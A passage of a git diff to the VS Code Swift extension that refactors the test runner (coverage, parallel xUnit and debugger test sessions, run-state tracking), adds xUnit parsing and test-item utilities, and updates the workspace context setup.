this.testRun.skipped(this.testItems[skippedTestIndex]); - this.testItems.splice(skippedTestIndex, 1); - } - this.currentTestItem = undefined; - continue; + /** Run tests with code coverage, and parse coverage results */ + async runCoverageSession( + outputStream: stream.Writable, + testBuildConfig: vscode.DebugConfiguration, + testLibrary: TestLibrary + ) { + try { + await this.runStandardSession(outputStream, testBuildConfig, TestKind.coverage); + } catch (error) { + // If this isn't a standard test failure, forward the error and skip generating coverage. + if (error !== 1) { + throw error; } } + + await this.testRun.coverage.captureCoverage(testLibrary); } - /** - * Parse results from `swift test` and update tests accordingly for non Darwin - * platforms eg Linux and Windows - * @param output Output from `swift test` - */ - private parseResultNonDarwin(output: string) { - const lines = output.split("\n").map(item => item.trim()); - - // Non-Darwin test output does not include the test target name. The only way to find out - // the target for a test is when it fails and returns a file name. If we find failed tests - // first and then remove them from the list we cannot set them to passed by mistake. - // We extract the file name from the error and use that to check whether the file belongs - // to the target associated with the TestItem. This does not work 100% as the error could - // occur in another target, so we revert to just searching for class and function name if - // the above method is unsuccessful. - for (const line of lines) { - // Regex "Test Case '-[ ]' started" - const startedMatch = /^Test Case '(.*)\.(.*)' started/.exec(line); - if (startedMatch) { - const testName = `${startedMatch[1]}/${startedMatch[2]}`; - const startedTestIndex = this.testItems.findIndex(item => - item.id.endsWith(testName) + /** Run tests in parallel outside of debugger */ + async runParallelSession( + outputStream: stream.Writable, + testBuildConfig: vscode.DebugConfiguration, + runState: TestRunnerTestRunState + ) { + const tempFolder = await TemporaryFolder.create(); + await tempFolder.withTemporaryFile("xml", async filename => { + const args = [...(testBuildConfig.args ?? []), "--xunit-output", filename]; + + try { + testBuildConfig.args = await this.runStandardSession( + outputStream, + { + ...testBuildConfig, + args, + }, + TestKind.parallel ); - if (startedTestIndex !== -1) { - this.testRun.started(this.testItems[startedTestIndex]); - this.currentTestItem = this.testItems[startedTestIndex]; + } catch (error) { + // If this isn't a standard test failure, forward the error and skip generating coverage. + if (error !== 1) { + throw error; } - continue; } - // Regex ":: error: . : " - const failedMatch = /^(.+):(\d+):\serror:\s*(.*)\.(.*) : (.*)/.exec(line); - if (failedMatch) { - const testName = `${failedMatch[3]}/${failedMatch[4]}`; - let failedTestIndex = this.testItems.findIndex(item => - this.isTestWithFilenameInTarget(testName, failedMatch[1], item) + + const buffer = await asyncfs.readFile(filename, "utf8"); + const xUnitParser = new TestXUnitParser( + this.folderContext.toolchain.hasMultiLineParallelTestOutput + ); + const results = await xUnitParser.parse(buffer, runState, this.workspaceContext.logger); + if (results) { + this.testRun.appendOutput( + `\r\nExecuted ${results.tests} tests, with ${results.failures} failures and ${results.errors} errors.\r\n` ); - // didn't find failed test so just search using class name and test function name - if (failedTestIndex === -1) { - failedTestIndex = this.testItems.findIndex(item => item.id.endsWith(testName)); - } - if (failedTestIndex !== -1) { - const message = new vscode.TestMessage(failedMatch[5]); - message.location = new vscode.Location( - vscode.Uri.file(failedMatch[1]), - new vscode.Position(parseInt(failedMatch[2]), 0) - ); - this.testRun.failed(this.testItems[failedTestIndex], message); - // remove from test item list as its status has been set - this.testItems.splice(failedTestIndex, 1); - } - this.currentTestItem = undefined; - continue; } - // Regex ":: . : Test skipped:" - const skippedMatch = /^(.+):(\d+):\s*(.*)\.(.*) : Test skipped:/.exec(line); - if (skippedMatch) { - const testName = `${skippedMatch[3]}/${skippedMatch[4]}`; - let skippedTestIndex = this.testItems.findIndex(item => - this.isTestWithFilenameInTarget(testName, skippedMatch[1], item) + }); + } + + /** Run test session inside debugger */ + async debugSession( + runState: TestRunnerTestRunState, + performBuild: boolean = true + ): Promise { + if (performBuild) { + // Perform a build all first to produce the binaries we'll run later. + let buildOutput = ""; + try { + await this.runStandardSession( + // Capture the output to print it in case of a build error. + // We dont want to associate it with the test run. + new stream.Writable({ + write: (chunk, _encoding, next) => { + buildOutput += chunk.toString(); + next(); + }, + }), + await BuildConfigurationFactory.buildAll( + this.folderContext, + true, + isRelease(this.testKind) + ), + this.testKind ); - if (skippedTestIndex === -1) { - skippedTestIndex = this.testItems.findIndex(item => item.id.endsWith(testName)); + } catch (buildExitCode) { + runState.recordOutput(undefined, buildOutput); + throw new Error(`Build failed with exit code ${buildExitCode}`); + } + } + + const testRunTime = Date.now(); + const subscriptions: vscode.Disposable[] = []; + const buildConfigs: Array = []; + const fifoPipePath = this.generateFifoPipePath(testRunTime); + + await TemporaryFolder.withNamedTemporaryFiles([fifoPipePath], async () => { + if (this.testArgs.hasSwiftTestingTests) { + // macOS/Linux require us to create the named pipe before we use it. + // Windows just lets us communicate by specifying a pipe path without any ceremony. + if (process.platform !== "win32") { + await execFile("mkfifo", [fifoPipePath], undefined, this.folderContext); } - if (skippedTestIndex !== -1) { - this.testRun.skipped(this.testItems[skippedTestIndex]); - // remove from test item list as its status has been set - this.testItems.splice(skippedTestIndex, 1); + // Create the swift-testing configuration JSON file, peparing any + // directories the configuration may require. + const attachmentFolder = await SwiftTestingConfigurationSetup.setupAttachmentFolder( + this.folderContext, + testRunTime + ); + const swiftTestingArgs = SwiftTestingBuildAguments.build( + fifoPipePath, + attachmentFolder + ); + + const swiftTestBuildConfig = await TestingConfigurationFactory.swiftTestingConfig( + this.folderContext, + swiftTestingArgs, + this.testKind, + this.testArgs.swiftTestArgs, + true + ); + + if (swiftTestBuildConfig !== null) { + swiftTestBuildConfig.testType = TestLibrary.swiftTesting; + swiftTestBuildConfig.preLaunchTask = null; + + // If we're testing in both frameworks we're going to start more than one debugging + // session. If both build configurations have the same name LLDB will replace the + // output of the first one in the Debug Console with the output of the second one. + // If they each have a unique name the Debug Console gets a nice dropdown the user + // can switch between to see the output for both sessions. + swiftTestBuildConfig.name = `Swift Testing: ${swiftTestBuildConfig.name}`; + + // output test build configuration + if (configuration.diagnostics) { + const configJSON = JSON.stringify(swiftTestBuildConfig); + this.workspaceContext.logger.debug( + `swift-testing Debug Config: ${configJSON}`, + this.folderContext.name + ); + } + + buildConfigs.push(swiftTestBuildConfig); } - this.currentTestItem = undefined; - continue; } - } - for (const line of lines) { - // Regex "Test Case '.' passed" - const passedMatch = /^Test Case '(.*)\.(.*)' passed \((\d.*) seconds\)/.exec(line); - if (passedMatch) { - const testName = `${passedMatch[1]}/${passedMatch[2]}`; - const duration: number = +passedMatch[3]; - const passedTestIndex = this.testItems.findIndex(item => - item.id.endsWith(testName) + // create launch config for testing + if (this.testArgs.hasXCTests) { + const xcTestBuildConfig = await TestingConfigurationFactory.xcTestConfig( + this.folderContext, + this.testKind, + this.testArgs.xcTestArgs, + true ); - if (passedTestIndex !== -1) { - this.testRun.passed(this.testItems[passedTestIndex], duration); - // remove from test item list as its status has been set - this.testItems.splice(passedTestIndex, 1); + + if (xcTestBuildConfig !== null) { + xcTestBuildConfig.testType = TestLibrary.xctest; + xcTestBuildConfig.preLaunchTask = null; + xcTestBuildConfig.name = `XCTest: ${xcTestBuildConfig.name}`; + + // output test build configuration + if (configuration.diagnostics) { + const configJSON = JSON.stringify(xcTestBuildConfig); + this.workspaceContext.logger.debug( + `XCTest Debug Config: ${configJSON}`, + this.folderContext.name + ); + } + + buildConfigs.push(xcTestBuildConfig); } - this.currentTestItem = undefined; - continue; } + + const validBuildConfigs = buildConfigs.filter( + config => config !== null + ) as vscode.DebugConfiguration[]; + + const debugRuns = validBuildConfigs.map(config => { + return () => + new Promise((resolve, reject) => { + if (this.testRun.isCancellationRequested) { + resolve(); + return; + } + + const startSession = vscode.debug.onDidStartDebugSession(session => { + const outputHandler = this.testOutputHandler(config.testType, runState); + outputHandler(`> ${config.program} ${config.args.join(" ")}\n\n\r`); + + LoggingDebugAdapterTracker.setDebugSessionCallback( + session, + this.workspaceContext.logger, + output => outputHandler(output), + exitCode => { + // Debug session is stopped with exitCode 9 (SIGKILL) + // when the user terminates it manually. + if (exitCode === 9) { + this.debugSessionTerminatedEmitter.fire(); + } + } + ); + + // add cancellation + const cancellation = this.testRun.token.onCancellationRequested(() => { + this.workspaceContext.logger.debug( + "Test Debugging Cancelled", + this.folderContext.name + ); + void vscode.debug.stopDebugging(session).then(() => resolve()); + }); + subscriptions.push(cancellation); + }); + subscriptions.push(startSession); + + const terminateSession = vscode.debug.onDidTerminateDebugSession(e => { + if (e.name !== config.name) { + return; + } + this.workspaceContext.logger.debug( + "Stop Test Debugging", + this.folderContext.name + ); + // dispose terminate debug handler + subscriptions.forEach(sub => sub.dispose()); + + void vscode.commands + .executeCommand("workbench.view.extension.test") + .then(() => resolve()); + }); + subscriptions.push(terminateSession); + + vscode.debug + .startDebugging(this.folderContext.workspaceFolder, config) + .then( + async started => { + if (started) { + if (config.testType === TestLibrary.swiftTesting) { + // Watch the pipe for JSONL output and parse the events into test explorer updates. + // The await simply waits for the watching to be configured. + await this.swiftTestOutputParser.watch( + fifoPipePath, + runState + ); + } else if (config.testType === TestLibrary.xctest) { + this.testRun.testRunStarted(); + } + + this.workspaceContext.logger.debug( + "Start Test Debugging", + this.folderContext.name + ); + } else { + subscriptions.forEach(sub => sub.dispose()); + reject("Debugger not started"); + } + }, + reason => { + subscriptions.forEach(sub => sub.dispose()); + reject(reason); + } + ); + }); + }); + + // Run each debugging session sequentially + await debugRuns.reduce((p, fn) => p.then(() => fn()), Promise.resolve()); + + // Clean up any leftover resources + await SwiftTestingConfigurationSetup.cleanupAttachmentFolder( + this.folderContext, + testRunTime, + this.workspaceContext.logger + ); + }); + + return this.testRun.runState; + } + + /** Returns a callback that handles a chunk of stdout output from a test run. */ + private testOutputHandler( + testLibrary: TestLibrary, + runState: TestRunnerTestRunState + // eslint-disable-next-line @typescript-eslint/no-explicit-any + ): (chunk: any) => void { + let preambleComplete = false; + switch (testLibrary) { + case TestLibrary.swiftTesting: + return chunk => { + // Capture all the output from the build process up until the test run starts. + // From there the SwiftTestingOutputParser reconstructs the test output from the JSON events + // emitted by the swift-testing binary during the run. This allows individual messages to be + // associated with their respective tests while still producing a complete test run log. + if (chunk.indexOf("Test run started.") !== -1) { + preambleComplete = true; + } + if (!preambleComplete) { + this.testRun.appendOutput(chunk.toString().replace(/\n/g, "\r\n")); + } else { + this.swiftTestOutputParser.parseStdout(chunk.toString(), runState); + } + }; + case TestLibrary.xctest: + return chunk => this.xcTestOutputParser.parseResult(chunk.toString(), runState); } } + /** Returns a `stream.Writable` that handles a chunk of stdout output from a test run. */ + private testOutputWritable( + testLibrary: TestLibrary, + runState: TestRunnerTestRunState + ): stream.Writable { + const handler = this.testOutputHandler(testLibrary, runState); + return new stream.Writable({ + write: (chunk, _encoding, next) => { + handler(chunk); + next(); + }, + }); + } + + private generateFifoPipePath(testRunDateNow: number): string { + return process.platform === "win32" + ? `\\\\.\\pipe\\vscodemkfifo-${testRunDateNow}` + : path.join(os.tmpdir(), `vscodemkfifo-${testRunDateNow}`); + } +} + +/** Interface defining how to find test items given a test id from XCTest output */ +interface TestItemFinder { + getIndex(id: string, filename?: string): number; + testItems: vscode.TestItem[]; +} + +/** Defines how to find test items given a test id from XCTest output on Darwin platforms */ +class DarwinTestItemFinder implements TestItemFinder { + private readonly testItemMap: Map; + + constructor(public testItems: vscode.TestItem[]) { + this.testItemMap = new Map(testItems.map((item, index) => [item.id, index])); + } + + getIndex(id: string): number { + return this.testItemMap.get(id) ?? -1; + } +} + +/** Defines how to find test items given a test id from XCTest output on non-Darwin platforms */ +class NonDarwinTestItemFinder implements TestItemFinder { + constructor( + public testItems: vscode.TestItem[], + public folderContext: FolderContext + ) {} + + /** + * Get test item index from id for non Darwin platforms. It is a little harder to + * be certain we have the correct test item on non Darwin platforms as the target + * name is not included in the id + */ + getIndex(id: string, filename?: string): number { + let testIndex = -1; + if (filename) { + testIndex = this.testItems.findIndex(item => + this.isTestWithFilenameInTarget(id, filename, item) + ); + } + if (testIndex === -1) { + testIndex = this.testItems.findIndex(item => item.id.endsWith(id)); + } + return testIndex; + } + /** * Linux test output does not include the target name. So I have to work out which target * the test is in via the test name and if it failed the filename from the error. In theory @@ -534,7 +1383,7 @@ export class TestRunner { return false; } // get target from Package - const target = this.folderContext.swiftPackage.targets.find( + const target = this.folderContext.swiftPackage.currentTargets.find( item => targetTestItem.label === item.name ); if (target) { @@ -545,10 +1394,211 @@ export class TestRunner { } return false; } +} - setTestsEnqueued() { - for (const test of this.testItems) { - this.testRun.enqueued(test); +/** + * Store state of current test run output parse + */ +export class TestRunnerTestRunState implements ITestRunState { + constructor(private testRun: TestRunProxy) {} + + public currentTestItem?: vscode.TestItem; + public lastTestItem?: vscode.TestItem; + public excess?: string; + public failedTest?: { + testIndex: number; + message: string; + file: string; + lineNumber: number; + complete: boolean; + }; + private startTimes: Map = new Map(); + private issues: Map = new Map(); + + getTestItemIndex(id: string, filename?: string): number { + return this.testRun.getTestIndex(id, filename); + } + + // set test item to be started + started(index: number, startTime?: number) { + if (this.isUnknownTest(index)) { + return; } + const testItem = this.testRun.testItems[index]; + this.issues.delete(index); + this.testRun.started(testItem); + this.currentTestItem = testItem; + this.startTimes.set(index, startTime); + } + + // set test item to have passed or failed, depending on if any issues were recorded + completed(index: number, timing: { duration: number } | { timestamp: number }) { + if (this.isUnknownTest(index)) { + return; + } + const test = this.testRun.testItems[index]; + const startTime = this.startTimes.get(index); + + let duration: number; + if ("timestamp" in timing) { + // Completion was specified in timestamp format but the test has no saved `started` timestamp. + // This is a bug in the code and can't be caused by a user. + if (startTime === undefined) { + throw Error( + "Timestamp was provided on test completion, but there was no startTime set when the test was started." + ); + } + duration = (timing.timestamp - startTime) * 1000; + } else { + duration = timing.duration * 1000; + } + + const isSuite = test.children.size > 0; + const issues = isSuite ? this.childrensIssues(test) : (this.issues.get(index) ?? []); + if (issues.length > 0) { + const allUnknownIssues = issues.filter(({ isKnown }) => !isKnown); + if (allUnknownIssues.length === 0) { + this.testRun.skipped(test); + } else if (isSuite) { + // Suites deliberately report no issues since the suite's children will, + // and we don't want to duplicate issues. This would make navigating via + // the "prev/next issue" buttons confusing. + this.testRun.failed(test, [], duration); + } else { + this.testRun.failed( + test, + allUnknownIssues.map(({ message }) => message), + duration + ); + } + } else { + this.testRun.passed(test, duration); + } + + this.lastTestItem = this.currentTestItem; + this.currentTestItem = undefined; + } + + // Gather the issues of test children into a flat collection. + private childrensIssues(test: vscode.TestItem): { + isKnown: boolean; + message: vscode.TestMessage; + }[] { + const index = this.getTestItemIndex(test.id); + return [ + ...(this.issues.get(index) ?? []), + ...reduceTestItemChildren( + test.children, + (acc, test) => [ + ...acc, + ...this.childrensIssues(test).map(issue => { + issue.message.message = `${test.label} \u{203A} ${issue.message.message}`; + return { + ...issue, + message: issue.message, + }; + }), + ], + [] as { isKnown: boolean; message: vscode.TestMessage }[] + ), + ]; + } + + recordIssue( + index: number, + message: string | vscode.MarkdownString, + isKnown: boolean = false, + location?: vscode.Location, + diff?: TestIssueDiff + ) { + if (this.isUnknownTest(index)) { + return; + } + + const msg = new vscode.TestMessage(message); + if (diff) { + msg.expectedOutput = diff.expected; + msg.actualOutput = diff.actual; + } + + msg.location = location; + const issueList = this.issues.get(index) ?? []; + issueList.push({ + message: msg, + isKnown, + }); + this.issues.set(index, issueList); + } + + // set test item to have been skipped + skipped(index: number) { + if (this.isUnknownTest(index)) { + return; + } + this.testRun.skipped(this.testRun.testItems[index]); + this.lastTestItem = this.currentTestItem; + this.currentTestItem = undefined; + } + + // For testing purposes we want to know if a run ran any tests we didn't expect. + isUnknownTest(index: number) { + if (index < 0 || index >= this.testRun.testItems.length) { + this.testRun.unknownTestRan(); + return true; + } + return false; + } + + // started suite + startedSuite() { + // Nothing to do here + } + // passed suite + passedSuite(name: string) { + // Regular runs don't provide the full suite name (Target.Suite) + // in the output, so reference the last passing/failing test item + // and derive the suite from that. + + // However, when running a parallel test run the XUnit XML output + // provides the full suite name, and the `lastTestItem` set is not + // guarenteed to be in this suite due to the parallel nature of the run. + + // If we can look the suite up by name then we're doing a parallel run + // and can mark it as passed, otherwise derive the suite from the last + // completed test item. + const suiteIndex = this.testRun.getTestIndex(name); + if (suiteIndex !== -1) { + this.testRun.passed(this.testRun.testItems[suiteIndex]); + } else { + const lastClassTestItem = this.lastTestItem?.parent; + if (lastClassTestItem && lastClassTestItem.id.endsWith(`.${name}`)) { + this.testRun.passed(lastClassTestItem); + } + } + } + // failed suite + failedSuite(name: string) { + // See comment in `passedSuite` for more context. + const suiteIndex = this.testRun.getTestIndex(name); + if (suiteIndex !== -1) { + this.testRun.failed(this.testRun.testItems[suiteIndex], []); + } else { + const lastClassTestItem = this.lastTestItem?.parent; + if (lastClassTestItem && lastClassTestItem.id.endsWith(`.${name}`)) { + this.testRun.failed(lastClassTestItem, []); + } + } + } + + recordOutput(index: number | undefined, output: string): void { + if (index === undefined || this.isUnknownTest(index)) { + this.testRun.appendOutput(output); + return; + } + + const testItem = this.testRun.testItems[index]; + const { uri, range } = testItem; + const location = uri && range ? new vscode.Location(uri, range) : undefined; + this.testRun.appendOutputToTest(output, testItem, location); } } diff --git a/src/TestExplorer/TestUtils.ts b/src/TestExplorer/TestUtils.ts new file mode 100644 index 000000000..5abe0f63e --- /dev/null +++ b/src/TestExplorer/TestUtils.ts @@ -0,0 +1,42 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * An implementation of `reduce()` that operates on a vscode.TestItemCollection, + * which only exposes `forEach` for iterating its items + */ +export function reduceTestItemChildren( + array: vscode.TestItemCollection, + callback: (accumulator: U, currentValue: vscode.TestItem) => U, + initialValue: U +): U { + let accumulator = initialValue; + array.forEach(currentValue => { + accumulator = callback(accumulator, currentValue); + }); + return accumulator; +} + +/** + * Returns a flattented, iterable collection of test items in the collection. + */ +export function flattenTestItemCollection(coll: vscode.TestItemCollection): vscode.TestItem[] { + const items: vscode.TestItem[] = []; + coll.forEach(item => { + items.push(item); + items.push(...flattenTestItemCollection(item.children)); + }); + return items; +} diff --git a/src/TestExplorer/TestXUnitParser.ts b/src/TestExplorer/TestXUnitParser.ts new file mode 100644 index 000000000..f464b8af6 --- /dev/null +++ b/src/TestExplorer/TestXUnitParser.ts @@ -0,0 +1,107 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as xml2js from "xml2js"; + +import { SwiftLogger } from "../logging/SwiftLogger"; +import { ITestRunState } from "./TestParsers/TestRunState"; + +export interface TestResults { + tests: number; + failures: number; + errors: number; +} + +interface XUnitFailure { + $: { message?: string }; +} + +interface XUnitTestCase { + $: { classname: string; name: string; time: number }; + failure?: XUnitFailure[]; +} + +interface XUnitTestSuite { + $: { name: string; errors: string; failures: string; tests: string; time: string }; + testcase: XUnitTestCase[]; +} + +interface XUnitTestSuites { + testsuite: XUnitTestSuite[]; +} + +interface XUnit { + testsuites: XUnitTestSuites; +} + +export class TestXUnitParser { + constructor(private hasMultiLineParallelTestOutput: boolean) {} + + async parse( + buffer: string, + runState: ITestRunState, + logger: SwiftLogger + ): Promise { + const xml = await xml2js.parseStringPromise(buffer); + try { + return await this.parseXUnit(xml, runState); + } catch (error) { + // ignore error + logger.error(`Error parsing xUnit output: ${error}`); + return undefined; + } + } + + // eslint-disable-next-line @typescript-eslint/no-unused-vars + async parseXUnit(xUnit: XUnit, runState: ITestRunState): Promise { + // eslint-disable-next-line no-console + let tests = 0; + let failures = 0; + let errors = 0; + xUnit.testsuites.testsuite.forEach(testsuite => { + const suiteFailures = parseInt(testsuite.$.failures); + failures += suiteFailures; + tests = tests + parseInt(testsuite.$.tests); + errors += parseInt(testsuite.$.errors); + + let className: string | undefined; + testsuite.testcase.forEach(testcase => { + className = testcase.$.classname; + const id = `${className}/${testcase.$.name}`; + const index = runState.getTestItemIndex(id, undefined); + + // From 5.7 to 5.10 running with the --parallel option dumps the test results out + // to the console with no newlines, so it isn't possible to distinguish where errors + // begin and end. Consequently we can't record them, and so we manually mark them + // as passed or failed here with a manufactured issue. + if (!!testcase.failure && !this.hasMultiLineParallelTestOutput) { + runState.recordIssue( + index, + testcase.failure.shift()?.$.message ?? "Test Failed", + false + ); + } + runState.completed(index, { duration: testcase.$.time }); + }); + + if (className !== undefined) { + if (className && suiteFailures === 0) { + runState.passedSuite(className); + } else if (className) { + runState.failedSuite(className); + } + } + }); + return { tests: tests, failures: failures, errors: errors }; + } +} diff --git a/src/WorkspaceContext.ts b/src/WorkspaceContext.ts index 11d67f9a9..30f013674 100644 --- a/src/WorkspaceContext.ts +++ b/src/WorkspaceContext.ts @@ -1,37 +1,45 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021-2022 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + +import { DiagnosticsManager } from "./DiagnosticsManager"; import { FolderContext } from "./FolderContext"; -import { StatusItem } from "./ui/StatusItem"; -import { SwiftOutputChannel } from "./ui/SwiftOutputChannel"; -import { - pathExists, - isPathInsidePath, - swiftLibraryPathKey, - getErrorDescription, -} from "./utilities/utilities"; -import { getLLDBLibPath } from "./debugger/lldb"; -import { LanguageClientManager } from "./sourcekit-lsp/LanguageClientManager"; -import { TemporaryFolder } from "./utilities/tempFolder"; -import { SwiftToolchain } from "./toolchain/toolchain"; -import { TaskManager } from "./TaskManager"; -import { BackgroundCompilation } from "./BackgroundCompilation"; -import { makeDebugConfigurations } from "./debugger/launch"; +import { setSnippetContextKey } from "./SwiftSnippets"; +import { TestKind } from "./TestExplorer/TestKind"; +import { TestRunManager } from "./TestExplorer/TestRunManager"; import configuration from "./configuration"; -import contextKeys from "./contextKeys"; +import { ContextKeys } from "./contextKeys"; +import { LLDBDebugConfigurationProvider } from "./debugger/debugAdapterFactory"; +import { makeDebugConfigurations } from "./debugger/launch"; +import { DocumentationManager } from "./documentation/DocumentationManager"; +import { CommentCompletionProviders } from "./editor/CommentCompletion"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftLoggerFactory } from "./logging/SwiftLoggerFactory"; +import { LanguageClientToolchainCoordinator } from "./sourcekit-lsp/LanguageClientToolchainCoordinator"; +import { DocCDocumentationRequest, ReIndexProjectRequest } from "./sourcekit-lsp/extensions"; +import { SwiftPluginTaskProvider } from "./tasks/SwiftPluginTaskProvider"; +import { SwiftTaskProvider } from "./tasks/SwiftTaskProvider"; +import { TaskManager } from "./tasks/TaskManager"; +import { BuildFlags } from "./toolchain/BuildFlags"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { ProjectPanelProvider } from "./ui/ProjectPanelProvider"; +import { StatusItem } from "./ui/StatusItem"; +import { SwiftBuildStatus } from "./ui/SwiftBuildStatus"; +import { isExcluded, isPathInsidePath } from "./utilities/filesystem"; +import { swiftLibraryPathKey } from "./utilities/utilities"; +import { isValidWorkspaceFolder, searchForPackages } from "./utilities/workspace"; /** * Context for whole workspace. Holds array of contexts for each workspace folder @@ -40,54 +48,82 @@ import contextKeys from "./contextKeys"; export class WorkspaceContext implements vscode.Disposable { public folders: FolderContext[] = []; public currentFolder: FolderContext | null | undefined; - public outputChannel: SwiftOutputChannel; + public currentDocument: vscode.Uri | null; public statusItem: StatusItem; - public languageClientManager: LanguageClientManager; + public buildStatus: SwiftBuildStatus; + public languageClientManager: LanguageClientToolchainCoordinator; public tasks: TaskManager; - public subscriptions: { dispose(): unknown }[]; - - private constructor(public tempFolder: TemporaryFolder, public toolchain: SwiftToolchain) { - this.outputChannel = new SwiftOutputChannel(); + public diagnostics: DiagnosticsManager; + public taskProvider: SwiftTaskProvider; + public pluginProvider: SwiftPluginTaskProvider; + public launchProvider: LLDBDebugConfigurationProvider; + public subscriptions: vscode.Disposable[]; + public commentCompletionProvider: CommentCompletionProviders; + public documentation: DocumentationManager; + public testRunManager: TestRunManager; + public projectPanel: ProjectPanelProvider; + private lastFocusUri: vscode.Uri | undefined; + private initialisationFinished = false; + + private readonly testStartEmitter = new vscode.EventEmitter(); + private readonly testFinishEmitter = new vscode.EventEmitter(); + + public onDidStartTests = this.testStartEmitter.event; + public onDidFinishTests = this.testFinishEmitter.event; + + private readonly buildStartEmitter = new vscode.EventEmitter(); + private readonly buildFinishEmitter = new vscode.EventEmitter(); + public onDidStartBuild = this.buildStartEmitter.event; + public onDidFinishBuild = this.buildFinishEmitter.event; + + private observers = new Set<(listener: FolderEvent) => unknown>(); + private swiftFileObservers = new Set<(listener: SwiftFileEvent) => unknown>(); + + public loggerFactory: SwiftLoggerFactory; + + constructor( + public extensionContext: vscode.ExtensionContext, + public contextKeys: ContextKeys, + public logger: SwiftLogger, + public globalToolchain: SwiftToolchain + ) { + this.testRunManager = new TestRunManager(); + this.loggerFactory = new SwiftLoggerFactory(extensionContext.logUri); this.statusItem = new StatusItem(); - this.languageClientManager = new LanguageClientManager(this); - this.outputChannel.log(this.toolchain.swiftVersionString); - this.toolchain.logDiagnostics(this.outputChannel); - this.tasks = new TaskManager(); - const onChangeConfig = vscode.workspace.onDidChangeConfiguration(event => { - // on toolchain config change, reload window - if (event.affectsConfiguration("swift.path")) { - vscode.window - .showInformationMessage( - "Changing the Swift path requires the project be reloaded.", - "Ok" - ) - .then(selected => { - if (selected === "Ok") { - vscode.commands.executeCommand("workbench.action.reloadWindow"); - } - }); - } - // on sdk config change, restart sourcekit-lsp - if (event.affectsConfiguration("swift.SDK")) { - // FIXME: There is a bug stopping us from restarting SourceKit-LSP directly. - // As long as it's fixed we won't need to reload on newer versions. - vscode.window - .showInformationMessage( - "Changing the Swift SDK path requires the project be reloaded.", - "Ok" - ) - .then(selected => { - if (selected === "Ok") { - vscode.commands.executeCommand("workbench.action.reloadWindow"); - } - }); + this.buildStatus = new SwiftBuildStatus(this.statusItem); + this.languageClientManager = new LanguageClientToolchainCoordinator(this, { + onDocumentSymbols: (folder, document, symbols) => { + folder.onDocumentSymbols(document, symbols); + }, + }); + this.tasks = new TaskManager(this); + this.diagnostics = new DiagnosticsManager(this); + this.taskProvider = new SwiftTaskProvider(this); + this.pluginProvider = new SwiftPluginTaskProvider(this); + this.launchProvider = new LLDBDebugConfigurationProvider(process.platform, this, logger); + this.documentation = new DocumentationManager(extensionContext, this); + this.currentDocument = null; + this.commentCompletionProvider = new CommentCompletionProviders(); + this.projectPanel = new ProjectPanelProvider(this); + + const onChangeConfig = vscode.workspace.onDidChangeConfiguration(async event => { + // Clear build path cache when build-related configurations change + if ( + event.affectsConfiguration("swift.buildArguments") || + event.affectsConfiguration("swift.buildPath") || + event.affectsConfiguration("swift.sdk") || + event.affectsConfiguration("swift.swiftSDK") + ) { + // Clear the build path cache since configuration affects paths + BuildFlags.clearBuildPathCache(); } + // on runtime path config change, regenerate launch.json if (event.affectsConfiguration("swift.runtimePath")) { - if (!configuration.autoGenerateLaunchConfigurations) { + if (!(await this.needToAutoGenerateLaunchConfig())) { return; } - vscode.window + void vscode.window .showInformationMessage( `Launch configurations need to be updated after changing the Swift runtime path. Custom versions of environment variable '${swiftLibraryPathKey()}' may be overridden. Do you want to update?`, "Update", @@ -95,102 +131,212 @@ export class WorkspaceContext implements vscode.Disposable { ) .then(async selected => { if (selected === "Update") { - this.folders.forEach( - async ctx => await makeDebugConfigurations(ctx, true) + this.folders.forEach(ctx => + makeDebugConfigurations(ctx, { yes: true }) ); } }); } - // on change of swift build path, regenerate launch.json - if (event.affectsConfiguration("swift.buildPath")) { - if (!configuration.autoGenerateLaunchConfigurations) { + // on change of swift build path or build arguments, regenerate launch.json + if ( + event.affectsConfiguration("swift.buildPath") || + event.affectsConfiguration("swift.buildArguments") + ) { + if (!(await this.needToAutoGenerateLaunchConfig())) { return; } - vscode.window + const configType = event.affectsConfiguration("swift.buildPath") + ? "build path" + : "build arguments"; + void vscode.window .showInformationMessage( - `Launch configurations need to be updated after changing the Swift build path. Do you want to update?`, + `Launch configurations need to be updated after changing the Swift ${configType}. Do you want to update?`, "Update", "Cancel" ) - .then(async selected => { + .then(selected => { if (selected === "Update") { - this.folders.forEach( - async ctx => await makeDebugConfigurations(ctx, true) + this.folders.forEach(ctx => + makeDebugConfigurations(ctx, { yes: true }) ); } }); } }); - const backgroundCompilationOnDidSave = BackgroundCompilation.start(this); - const contextKeysUpdate = this.observeFolders((folder, event) => { - switch (event) { - case FolderEvent.focus: - this.updateContextKeys(folder); + const contextKeysUpdate = this.onDidChangeFolders(event => { + switch (event.operation) { + case FolderOperation.remove: + this.updatePluginContextKey(); break; - case FolderEvent.unfocus: - this.updateContextKeys(folder); + case FolderOperation.focus: + this.updateContextKeys(event.folder); + void this.updateContextKeysForFile(); break; - case FolderEvent.resolvedUpdated: - if (folder === this.currentFolder) { - this.updateContextKeys(folder); + case FolderOperation.unfocus: + this.updateContextKeys(event.folder); + break; + case FolderOperation.resolvedUpdated: + if (event.folder === this.currentFolder) { + this.updateContextKeys(event.folder); } } }); + // add end of task handler to be called whenever a build task has finished. If + // it is the build task for this folder then focus on the problems view + const onDidEndTask = 